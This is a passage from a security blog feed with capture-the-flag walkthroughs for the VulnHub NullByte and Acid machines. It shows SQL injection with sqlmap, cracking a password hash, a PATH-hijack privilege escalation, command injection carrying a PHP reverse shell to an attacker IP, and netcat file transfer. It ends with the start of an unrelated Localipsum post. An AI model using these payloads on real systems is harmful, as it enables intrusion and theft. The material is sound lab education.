<span class="o">[</span><span class="n">15:25:23</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">INFO</span><span class="o">]</span><span class="w"> </span><span class="n">fetched</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="n">logged</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="nc">text</span><span class="w"> </span><span class="n">files</span><span class="w"> </span><span class="k">under</span><span class="w"> </span><span class="s1">'/home/maggick/.sqlmap/output/192.168.0.20'</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">shutting</span><span class="w"> </span><span class="n">down</span><span class="w"> </span><span class="k">at</span><span class="w"> </span><span class="mi">15</span><span class="err">:</span><span class="mi">25</span><span class="err">:</span><span class="mi">23</span>
</code></pre></div>
<p><code>python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plo' --current-db</code>
got us the name of the current databse: <strong>seth</strong>.</p>
<p><code>python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plo' -D seth --tables</code>
got us the list of the tables in the database <strong>seth</strong>. There is only one table : <strong>users</strong>. Let us drop it:</p>
<div class="highlight"><pre><span></span><code>$python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plop' -D seth --dump
+----+---------------------------------------------+--------+------------+
| id | pass | user | position |
+----+---------------------------------------------+--------+------------+
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
| 2 | --not allowed-- | isis | employee |
+----+---------------------------------------------+--------+------------+
</blank></code></pre></div>
<p>It seems that ramses pass(word) is base64 encoded. After decoding, we got:
<strong>c6d6bd7ebf806f43c76acc3681703b81</strong> which looks like a md5 hash. A simple
google search give us the associated password: <strong>omega</strong>.</p>
<p>We have a username and a password. We have also seen a ssh port at the nmap
stage.</p>
<h2>Shell exploitation</h2>
<h3>ssh</h3>
<p>We try to connect to the non standard ssh port as ramses:</p>
<div class="highlight"><pre><span></span><code>$ ssh 192.168.0.20 -p 777 -lramses
ramses@192.168.0.20's password:
omega
</code></pre></div>
<p>And it works.</p>
<h3>Privilege elevation</h3>
<p>We got a shell as a user now we need privilege escalation to become root. After
trying <code>sudo su</code> we look at the <code>bash_history</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">ramses</span><span class="err">@</span><span class="n">NullByte</span><span class="p">:</span><span class="o">~$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">.</span><span class="n">bash_history</span>
<span class="n">sudo</span><span class="w"> </span><span class="o">-</span><span class="n">s</span>
<span class="n">su</span><span class="w"> </span><span class="n">eric</span>
<span class="n">exit</span>
<span class="n">ls</span>
<span class="n">clear</span>
<span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span>
<span class="n">cd</span><span class="w"> </span><span class="n">backup</span><span class="o">/</span>
<span class="n">ls</span>
<span class="o">./</span><span class="n">procwatch</span>
<span class="n">clear</span>
<span class="n">sudo</span><span class="w"> </span><span class="o">-</span><span class="n">s</span>
<span class="n">cd</span><span class="w"> </span><span class="o">/</span>
<span class="n">ls</span>
<span class="n">exit</span>
</code></pre></div>
<p>Let see the <code>/var/www/backup/</code> folder:</p>
<div class="highlight"><pre><span></span><code><span class="n">ramses</span><span class="err">@</span><span class="n">NullByte</span><span class="p">:</span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">backup</span><span class="o">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">l</span>
<span class="n">total</span><span class="w"> </span><span class="mi">12</span>
<span class="o">-</span><span class="n">rwsr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">4932</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="mi">01</span><span class="p">:</span><span class="mi">29</span><span class="w"> </span><span class="n">procwatch</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="mi">01</span><span class="p">:</span><span class="mi">36</span><span class="w"> </span><span class="n">readme</span><span class="o">.</span><span class="n">txt</span>
</code></pre></div>
<p>Interesting, we read the readme.txt file:</p>
<div class="highlight"><pre><span></span><code><span class="n">ramses</span><span class="err">@</span><span class="n">NullByte</span><span class="p">:</span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">backup</span><span class="o">$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="n">readme</span><span class="o">.</span><span class="n">txt</span>
<span class="n">I</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">fix</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">mess</span><span class="o">...</span>
</code></pre></div>
<p>We execute <code>procwatch</code>:</p>
<p>ramses@NullByte:/var/www/backup$ ./procwatch
PID TTY TIME CMD
1785 pts/0 00:00:00 procwatch
1786 pts/0 00:00:00 sh
1787 pts/0 00:00:00 ps</p>
<p>Seems like a ps, probably executing the command itself. Moreover it is own by root
with the <a href="https://en.wikipedia.org/wiki/Setuid">suid</a> set (the s in the <code>ls -l</code>),
meaning we execute this program with root privileges.</p>
<p>One classic vulnerability when a program executes another one is to use the PATH
environment variable to execute a command of our choice instead of the command
wanted by the program.</p>
<p>First of all we create a file with the command we want to execute and name it <code>ps</code>:</p>
<div class="highlight"><pre><span></span><code>ramses@NullByte:/var/www/backup$ echo /bin/sh > ~/ps
</code></pre></div>
<p>We give the execution right to this file:</p>
<div class="highlight"><pre><span></span><code>ramses@NullByte:/var/www/backup$ chmod +x ~/ps
</code></pre></div>
<p>We add the directory where we created this file to our PATH:</p>
<div class="highlight"><pre><span></span><code>ramses@NullByte:/var/www/backup$ export PATH=~/:$PATH
</code></pre></div>
<p>We execute the original program:</p>
<div class="highlight"><pre><span></span><code>ramses@NullByte:/var/www/backup$ ./procwatch
</code></pre></div>
<p>Magic happened, we got a root shell:</p>
<div class="highlight"><pre><span></span><code># whoami
root
</code></pre></div>
<p>Now we just need to search the flag:</p>
<div class="highlight"><pre><span></span><code><span class="err">#</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">/</span><span class="n">root</span>
<span class="n">proof</span><span class="p">.</span><span class="n">txt</span>
<span class="err">#</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">proof</span><span class="p">.</span><span class="n">txt</span>
<span class="n">adf11c7a9e6523e630aaf3b9b7acb51d</span>
<span class="n">It</span><span class="w"> </span><span class="n">seems</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">pwned</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">box</span><span class="p">,</span><span class="w"> </span><span class="n">congrats</span><span class="p">.</span>
<span class="n">Now</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">done</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">wanna</span><span class="w"> </span><span class="n">talk</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="n">you</span><span class="p">.</span><span class="w"> </span><span class="k">Write</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">walk</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="n">mail</span><span class="w"> </span><span class="k">at</span>
<span class="n">xly0n</span><span class="nv">@sigaint</span><span class="p">.</span><span class="n">org</span><span class="w"> </span><span class="n">attach</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">walk</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">proof</span><span class="p">.</span><span class="n">txt</span>
<span class="k">If</span><span class="w"> </span><span class="n">sigaint</span><span class="p">.</span><span class="n">org</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">down</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">may</span><span class="w"> </span><span class="n">mail</span><span class="w"> </span><span class="k">at</span><span class="w"> </span><span class="n">nbsly0n</span><span class="nv">@gmail</span><span class="p">.</span><span class="n">com</span>
<span class="k">USE</span><span class="w"> </span><span class="n">THIS</span><span class="w"> </span><span class="n">PGP</span><span class="w"> </span><span class="k">PUBLIC</span><span class="w"> </span><span class="k">KEY</span>
<span class="o">-----</span><span class="k">BEGIN</span><span class="w"> </span><span class="n">PGP</span><span class="w"> </span><span class="k">PUBLIC</span><span class="w"> </span><span class="k">KEY</span><span class="w"> </span><span class="n">BLOCK</span><span class="o">-----</span>
<span class="nl">Version</span><span class="p">:</span><span class="w"> </span><span class="n">BCPG</span><span class="w"> </span><span class="n">C</span><span class="err">#</span><span class="w"> </span><span class="n">v1</span><span class="mf">.6.1.0</span>
<span class="n">mQENBFW9BX8BCACVNFJtV4KeFa</span><span class="o">/</span><span class="n">TgJZgNefJQ</span><span class="o">+</span><span class="n">fD1</span><span class="o">+</span><span class="n">LNEGnv5rw3uSV</span><span class="o">+</span><span class="n">jWigpxrJ</span>
<span class="n">Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT</span>
<span class="n">e4QU3gZPd</span><span class="o">/</span><span class="n">VibPhzbJC</span><span class="o">/</span><span class="n">pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1</span><span class="o">/</span><span class="n">xhSRTprq</span>
<span class="n">Cu7OyNC8</span><span class="o">+</span><span class="n">HKu</span><span class="o">/</span><span class="n">NpJ7j8mxDTLrvoD</span><span class="o">+</span><span class="n">hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK</span>
<span class="o">+</span><span class="n">z9pmlOJ5Xfhc2xx</span><span class="o">+</span><span class="n">WHtST53Ewk8D</span><span class="o">+</span><span class="n">Hjn</span><span class="o">+</span><span class="n">mh4s9</span><span class="o">/</span><span class="n">pjppdpMFUhr1poXPsI2HTWNe</span>
<span class="n">YcvzcQHwzXj6hvtcXlJj</span><span class="o">+</span><span class="n">yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu</span>
<span class="n">Y29tiQEcBBABAgAGBQJVvQV</span><span class="o">/</span><span class="n">AAoJENDZ4VE7RHERJVkH</span><span class="o">/</span><span class="n">RUeh6qn116Lf5mAScNS</span>
<span class="n">HhWTUulxIllPmnOPxB9</span><span class="o">/</span><span class="n">yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q</span>
<span class="n">m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1</span><span class="o">+</span><span class="n">MI2CCJL44Q</span><span class="o">/</span><span class="n">J5654vIGn</span>
<span class="n">XQk6Oc7xWEgxLH</span><span class="o">+</span><span class="n">IjNQgh6V</span><span class="o">+</span><span class="n">MTce8fOp2SEVPcMZZuz2</span><span class="o">+</span><span class="n">XI9nrCV1dfAcwJJyF58</span>
<span class="n">RryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw</span><span class="o">/</span><span class="n">nNCEwQexWrgW7bqL</span><span class="o">/</span><span class="n">N8</span>
<span class="n">TM2C0X57</span><span class="o">+</span><span class="n">ok7eqj8gUEuX</span><span class="o">/</span><span class="mi">6</span><span class="n">FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU</span>
<span class="n">Gms</span><span class="o">=</span>
<span class="o">=</span><span class="n">PiAQ</span>
<span class="c1">-----END PGP PUBLIC KEY BLOCK-----</span>
</code></pre></div>
<h2>Conclusion</h2>
<p>This box was fun. The url were unpredictable and dirbuster doesn't spoil all the
fun for us. Thank to <a href="https://twitter.com/@ly0nx">@ly0nx</a> for this box and
<a href="http://vulnhub.com">vulnhub</a> as always.</p>Vulnhub - Acid2015-09-11T11:30:00+02:002015-09-11T11:30:00+02:00maggicktag:maggick.fr,2015-09-11:/2015/09/vulnhub-acid.html<p><img alt="acid" class="align-left" src="/media/2015.09/bg.jpg" width="262"/></p>
<p>Since <a href="https://maggick.fr/2015/06/vulnhub-fart-knocker.html">Fart knocker</a>
in June I have worked on an other vulnhub machine:
<a href="https://www.vulnhub.com/entry/darknet-10,120/">darknet</a>. But this one is really
hard and get me stuck. I was a bit demotivated to continue vulnhub's machines but
I got some time this week, therefore I tried the
<a href="https://www.vulnhub.com/entry/acid-server,125/">Acid</a> one.</p>
<p><img alt="acid" class="align-left" src="/media/2015.09/bg.jpg" width="262"/></p>
<p>Since <a href="https://maggick.fr/2015/06/vulnhub-fart-knocker.html">Fart knocker</a>
in June I have worked on an other vulnhub machine:
<a href="https://www.vulnhub.com/entry/darknet-10,120/">darknet</a>. But this one is really
hard and get me stuck. I was a bit demotivated to continue vulnhub's machines but
I got some time this week, therefore I tried the
<a href="https://www.vulnhub.com/entry/acid-server,125/">Acid</a> one.</p>
<p>The goal is as usual, get root on the virtual machine. Let's go:</p>
<h2>Host Discovery</h2>
<p>As always, we start with host discovery:
<a href="http://nmap.org">Nmap</a> and <a href="https://cirt.net/Nikto2">nikto</a> are our friends for
this step.</p>
<h3>nmap</h3>
<p>We launch nmap against the virtual machine:</p>
<div class="highlight"><pre><span></span><code>$ nmap 192.168.0.18 -p0-65535 -A -oA nmap
Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-08 12:08 CEST
Stats: 0:07:31 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 98.89% done; ETC: 12:15 (0:00:05 remaining)
Nmap scan report for 192.168.0.18
Host is up (0.0045s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE
33447/tcp open unknown
|_http-title: /Challenge
Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
</code></pre></div>
<p>We got a nice Apache web server with a simple splash screen. Notice the page
title: <strong>/Challenge</strong>.</p>
<h3>Nikto</h3>
<p>I ran nikto on the target but nothing pop out.</p>
<h2>Web exploitation</h2>
<h3>Page source</h3>
<p>As we come pretty empty handed, we check the page source and two interesting
things came out:</p>
<ul>
<li>Some hexadecimal code at the end of the page: 0x643239334c6d70775a773d3d</li>
<li>the title of the page (we can see it in the nmap scan) is /Challenge
and there is an other web page at this address.</li>
</ul>
<h4>Hexa code</h4>
<p>We will start with the first lead the hexadecimal code:</p>
<p><strong>0x643239334c6d70775a773d3d</strong></p>
<p>We convert it to string and we got:</p>
<p><strong>?d293LmpwZw==</strong></p>
<p>We decode the base64 and we got:</p>
<p><strong>wow.jpg</strong></p>
<p>We go to the url (the /images/ is given with the background image of the first
web page):</p>
<p>http://192.168.0.18:33447/images/wow.jpg</p>
<p>As a result we got a nice image that reward us for our success.</p>
<p><img alt="wow.jpg" src="/media/2015.09/wow.jpg"/></p>
<p>Yeah it seems to be some troll :)</p>
<h3>/Challenge</h3>
<p>Let us dig the second lead: the page title. By adding <code>/Challenge</code> in the URL,
we land on an authentication interface.</p>
<p>I tried to use SQL injection but nothing. We will try
<a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">dirbuster</a>
with the small dictionary (`/usr/share/dirbuster/directory-list-2.3-small.txt):</p>
<div class="highlight"><pre><span></span><code>DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Tue Sep 08 16:54:05 CEST 2015
--------------------------------
http://192.168.0.18:33447
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/Challenge/
Dirs found with a 403 response:
/Challenge/css/
/Challenge/includes/
/Challenge/js/
/Challenge/styles/
/Challenge/less/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/Challenge/index.php
/Challenge/error.php
/Challenge/includes/functions.php
/Challenge/cake.php
Files found with a 302 responce:
/Challenge/include.php
/Challenge/includes/logout.php
/Challenge/hacked.php
--------------------------------
</code></pre></div>
<p>We got the <code>cake.php</code> page but as we all know "The cake is a lie". We noticed
that the page title is one more time a folder: <code>/Magic_box</code>.
When going to <code>/Challenge/Magic_box</code> we got a 403 forbidden page. Let us fire
<a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">dirbuster</a>
again:</p>
<div class="highlight"><pre><span></span><code>DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Tue Sep 08 17:17:43 CEST 2015
--------------------------------
http://192.168.0.18:33447
--------------------------------
Directories found during testing:
Dirs found with a 403 response:
/Challenge/Magic_Box/
/Challenge/Magic_Box/proc/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/Challenge/Magic_Box/low.php
/Challenge/Magic_Box/command.php
Files found with a 302 responce:
/Challenge/Magic_Box/proc/validate.php
--------------------------------
</code></pre></div>
<p>We got some nice result mostly the <code>/command.php</code> page.</p>
<h3>Command execution</h3>
<p>The page let us ping an other machine in the network. Nevertheless the page name
let us think that we can use command exploitation. If we add a <code>;</code> in the filed
and a command it seems to works, for instance with <code>; ls</code> we got (I use
<a href="http://releases.portswigger.net/">burp</a> for all my pentest, the output of the
command is in the response page):</p>
<div class="highlight"><pre><span></span><code>command.php
command.php.save
command2.php.save
command2.php.save.1
low.php
proc
tails.php
</code></pre></div>
<p>We can also read <code>/etc/passwd</code>: there is two users on the server: acid and
saman.</p>
<p>Let us try to get a reverse shell with that.</p>
<h3>reverse shell</h3>
<p>As always, a good source of information is
<a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentest monkey</a>.</p>
<p>We know the site use php so we will try the php reverse shell first:</p>
<ul>
<li>On the host we execute: <code>nc -l -p 6666</code></li>
<li>On the target (via the ping interface) we query:
<code>; php -r '$sock=fsockopen("192.168.0.13",6666);exec("/bin/sh -i <&3 >&3 2>&3");'</code></li>
</ul>
<p>It got us a shell on the machine (without tty/pty). But executing the request in the ping
interface each time we want the shell in painful, so I extract the curl command
from burp:</p>
<div class="highlight"><pre><span></span><code>curl -i -s -k -X 'POST' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0' -H 'DNT: 1' -H 'Referer: http://192.168.0.18:33447/Challenge/Magic_Box/command.php' -H 'Content-Type: application/x-www-form-urlencoded' \
-b 'sec_session_id=2cdjrm9k6khpfiilsad1kmnpj2' \
--data-binary $'IP=%3B+php+-r+%27%24sock%3Dfsockopen%28%22192.168.0.13%22%2C6666%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&submit=submit' \
'http://192.168.0.18:33447/Challenge/Magic_Box/command.php'
</code></pre></div>
<p>Now that we have a shell, let us see what we can do.</p>
<h2>Shell exploitation</h2>
<p>First we discover what is at our disposal, mostly in the <code>/home/</code>
(<code>bash_history</code>). In the <code>/home/acid/</code> there is something interesting but
empty:</p>
<div class="highlight"><pre><span></span><code>ls -la /home/acid/.su*
-rw-r--r-- 1 acid acid 0 Jul 31 17:27 /home/acid/.sudo_as_admin_successful
</code></pre></div>
<p>Let us see what else we got on the machine:</p>
<div class="highlight"><pre><span></span><code><span class="nx">$</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="o">/</span>
<span class="nx">bin</span>
<span class="nx">boot</span>
<span class="nx">cdrom</span>
<span class="nx">dev</span>
<span class="nx">etc</span>
<span class="nx">home</span>
<span class="nx">initrd</span><span class="p">.</span><span class="nx">img</span>
<span class="nx">lib</span>
<span class="nx">lost</span><span class="o">+</span><span class="nx">found</span>
<span class="nx">media</span>
<span class="nx">mnt</span>
<span class="nx">opt</span>
<span class="nx">proc</span>
<span class="nx">root</span>
<span class="nx">run</span>
<span class="nx">s</span><span class="p">.</span><span class="nx">bin</span>
<span class="nx">sbin</span>
<span class="nx">srv</span>
<span class="nx">sys</span>
<span class="nx">tmp</span>
<span class="nx">usr</span>
<span class="kd">var</span>
<span class="nx">vmlinuz</span>
<span class="nx">$</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="o">/</span><span class="nx">opt</span><span class="o">/</span>
<span class="nx">$</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="o">/</span><span class="nx">media</span>
<span class="nx">acid</span>
<span class="nx">floppy</span>
<span class="nx">floppy0</span>
<span class="nx">$</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="o">/</span><span class="nx">s</span><span class="p">.</span><span class="nx">bin</span>
<span class="nx">investigate</span><span class="p">.</span><span class="nx">php</span>
<span class="nx">$</span><span class="w"> </span><span class="nx">cat</span><span class="w"> </span><span class="o">/</span><span class="nx">s</span><span class="p">.</span><span class="nx">bin</span><span class="o">/</span><span class="nx">investigate</span><span class="p">.</span><span class="nx">php</span>
<span class="cp"><?php</span>
<span class="k">echo</span> <span class="s2">"Now you have to behave like an investigator to catch the culprit</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="o">?</span>
</span></code></pre></div>
<p>That is interesting the php file in <code>/s.bin/</code> clearly tell us to investigate.
But what we need know is a privilege escalation ti gain root access.</p>
<h3>Privilege escalation</h3>
<p>I tried the overlayfs exploit (the same as with
<a href="https://maggick.fr/2015/06/vulnhub-fart-knocker.html">Fart knocker</a>)
without success:</p>
<ul>
<li>I compiled the exploit on an other 32 bits virtual machine;</li>
<li>I transfered it to the shell via netcat;</li>
<li>
<p>And it failed:</p>
<p>$ ./ofs.bin : 4:
spawning threads
mount #1
mount #2
child threads done
exploit failed</p>
</li>
</ul>
<p>But we were given an hint.</p>
<h3>More investigations</h3>
<p>The <a href="http://pwnwiki.io/#!privesc/linux/index.md">pwnwiki.io</a> wiki is always a
good source of information. So with more investigation we look at bash_history,
search for <code>*txt*</code> files, an so on. Then <code>*pcap*</code> files:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>find<span class="w"> </span>/<span class="w"> </span>-name<span class="w"> </span>*pcap*<span class="w"> </span><span class="m">2</span>>/dev/null
/lib/modules/3.19.0-15-generic/kernel/drivers/rtc/rtc-pcap.ko
/lib/modules/3.19.0-15-generic/kernel/drivers/input/misc/pcap_keys.ko
/lib/modules/3.19.0-15-generic/kernel/drivers/input/touchscreen/pcap_ts.ko
/lib/modules/3.19.0-15-generic/kernel/drivers/regulator/pcap-regulator.ko
/sbin/raw_vs_isi/hint.pcapng
/sbin/getpcaps
/sys/bus/spi/drivers/ezx-pcap
/usr/share/doc/libpcap0.8
/usr/share/mime/application/vnd.tcpdump.pcap.xml
/usr/share/man/man7/pcap-filter.7.gz
/usr/share/man/man1/getpcaps.1.gz
/usr/lib/i386-linux-gnu/libpcap.so.1.6.2
/usr/lib/i386-linux-gnu/libpcap.so.0.8
/usr/src/linux-headers-3.19.0-15/include/linux/mfd/ezx-pcap.h
/usr/src/linux-headers-3.19.0-15-generic/include/config/ezx/pcap.h
/usr/src/linux-headers-3.19.0-15-generic/include/config/touchscreen/pcap.h
/usr/src/linux-headers-3.19.0-15-generic/include/config/rtc/drv/pcap.h
/usr/src/linux-headers-3.19.0-15-generic/include/config/input/pcap.h
/usr/src/linux-headers-3.19.0-15-generic/include/config/regulator/pcap.h
/var/lib/dpkg/info/libpcap0.8:i386.postinst
/var/lib/dpkg/info/libpcap0.8:i386.shlibs
/var/lib/dpkg/info/libpcap0.8:i386.postrm
/var/lib/dpkg/info/libpcap0.8:i386.md5sums
/var/lib/dpkg/info/libpcap0.8:i386.symbols
/var/lib/dpkg/info/libpcap0.8:i386.list
</code></pre></div>
<p>Yes <code>/sbin/raw_vs_isi/hint.pcapng</code>!</p>
<h3>pcap</h3>
<p>We transfer the file with netcat:</p>
<ul>
<li>On our attack machine: <code>nc -lp 1234 > pcap</code></li>
<li>On the server: <code>nc 192.168.0.13 1234 < /sbin/raw_vs_isi/hint.pcapng</code></li>
</ul>
<p>We open the pcap file with <a href="https://www.wireshark.org/">wireshark</a>. There is a
lot of information in this file, over 6 000 trams.
On the 6 212 we notice some sort of text. By following the TCP stream (wireshark
function) we discover what seems to be a chat exchange:</p>
<blockquote>
<p>heya</p>
<p>hello
What was the name of the Culprit ???</p>
<p>saman and now a days he's known by the alias of 1337hax0r</p>
<p>oh...Fuck....Great...Now, we gonna Catch Him Soon :D</p>
<p>Yes .. We have to !! The mad bomber is on a rage</p>
<p>Ohk...cya</p>
<p>Over and Out</p>
</blockquote>
<p>Great, what does it means? We know that saman is one of the user on the machine.
Maybe we got some hints about it password or something like that.</p>
<h3>interactive shell</h3>
<p>In order to execute a su, we need a interactive shell (with
<a href="https://en.wikipedia.org/wiki/Pseudoterminal">pty/tty</a>).
Once more <a href="http://pentestmonkey.net/blog/post-exploitation-without-a-tty">pentest monkey</a>
will help us:</p>
<div class="highlight"><pre><span></span><code><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import pty; pty.spawn("/bin/sh")'</span>
</code></pre></div>
<p>As <code>/bin/sh</code> is a symlink to dash, we directly use bash:</p>
<div class="highlight"><pre><span></span><code><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre></div>
<p>We now need to try to connect as saman.</p>
<h2>Saman</h2>
<p>With our beautiful shell we jut have to <code>su saman</code> to try to connect as saman:</p>
<div class="highlight"><pre><span></span><code><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="err">@</span><span class="n">acid</span><span class="p">:</span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span><span class="n">Challenge</span><span class="o">/</span><span class="n">Magic_Box</span><span class="o">$</span><span class="w"> </span><span class="n">su</span><span class="w"> </span><span class="n">saman</span>
<span class="n">su</span><span class="w"> </span><span class="n">saman</span>
<span class="n">Password</span><span class="p">:</span><span class="w"> </span><span class="mi">1337</span><span class="n">hax0r</span>
</code></pre></div>
<p>It works! Let us try <code>sudo su</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">saman</span><span class="nv">@acid</span><span class="err">:</span><span class="o">/</span><span class="nf">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span><span class="n">Challenge</span><span class="o">/</span><span class="n">Magic_Box</span><span class="err">$</span><span class="w"> </span><span class="n">sudo</span><span class="w"> </span><span class="n">su</span>
<span class="n">sudo</span><span class="w"> </span><span class="n">su</span>
<span class="o">[</span><span class="n">sudo</span><span class="o">]</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nl">saman</span><span class="p">:</span><span class="w"> </span><span class="mi">1337</span><span class="n">hax0r</span>
<span class="n">root</span><span class="nv">@acid</span><span class="err">:</span><span class="o">/</span><span class="nf">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span><span class="n">Challenge</span><span class="o">/</span><span class="n">Magic_Box</span><span class="err">#</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">flag</span><span class="p">.</span><span class="n">txt</span>
<span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">flag</span><span class="p">.</span><span class="n">txt</span>
<span class="n">Dear</span><span class="w"> </span><span class="n">Hax0r</span><span class="p">,</span>
<span class="n">You</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">successfully</span><span class="w"> </span><span class="n">completed</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">challenge</span><span class="p">.</span>
<span class="n">I</span><span class="w"> </span><span class="n">hope</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="ow">like</span><span class="w"> </span><span class="n">it</span><span class="p">.</span>
<span class="n">FLAG</span><span class="w"> </span><span class="nl">NAME</span><span class="p">:</span><span class="w"> </span><span class="err">"</span><span class="n">Acid</span><span class="nv">@Makke@Hax0r</span>
</code></pre></div>
<h2>Conclusion</h2>
<p>It was a nice box to root but as I read the other write up it seems that my way
was not the one expected.
Nevertheless, thank to <a href="https://twitter.com/m_avinash143">Avinash Kumar Thapa</a>
for the box and <a href="https://twitter.com/VulnHub">vulnhub</a>.</p>Localipsum, a sample text generator2015-08-23T22:30:00+02:002015-08-23T22:30:00+02:00maggicktag:maggick.fr,2015-08-23:/2015/08/localipsum-a-sample-text-generator.html<p><img alt="Localipsum" class="align-left" src="/media/2015.08/localipsum.png" width="262"/></p>
<p>Localipsum is a simple python program that aim to generate sample text for
designers and developers as the well known
<a href="http://lipsum.co.uk/">Lorem Ipsum website</a>. The main difference is that it use
your own dictionaries on your computer.</p>
<p><img alt="Localipsum" class="align-left" src="/media/2015.08/localipsum.png" width="262"/></p>
<p>Localipsum is a simple python program that aim to generate sample text for
designers and developers as the well known
<a href="http://lipsum.co.uk/">Lorem Ipsum website</a>. The main difference is that it use
your own dictionaries on your computer.</p>
<p>I worked on this program at the beginning of the year on the basis of a fun idea:
use my own dictionaries to generate sample text.
This was a quick program to write but the vim's dictionaries were (and still
are) a problem (more on the dedicated section).</p>
<p>I have stopped to work on this program as it fulfil my current need.</p>
<p>The program is available on github under public license:
<a href="http://github.com/maggick/localipsum">github.com/maggick/localipsum</a></p>
<h2>Usage</h2>
<p>The documentation is display with the --help, -h option:</p>
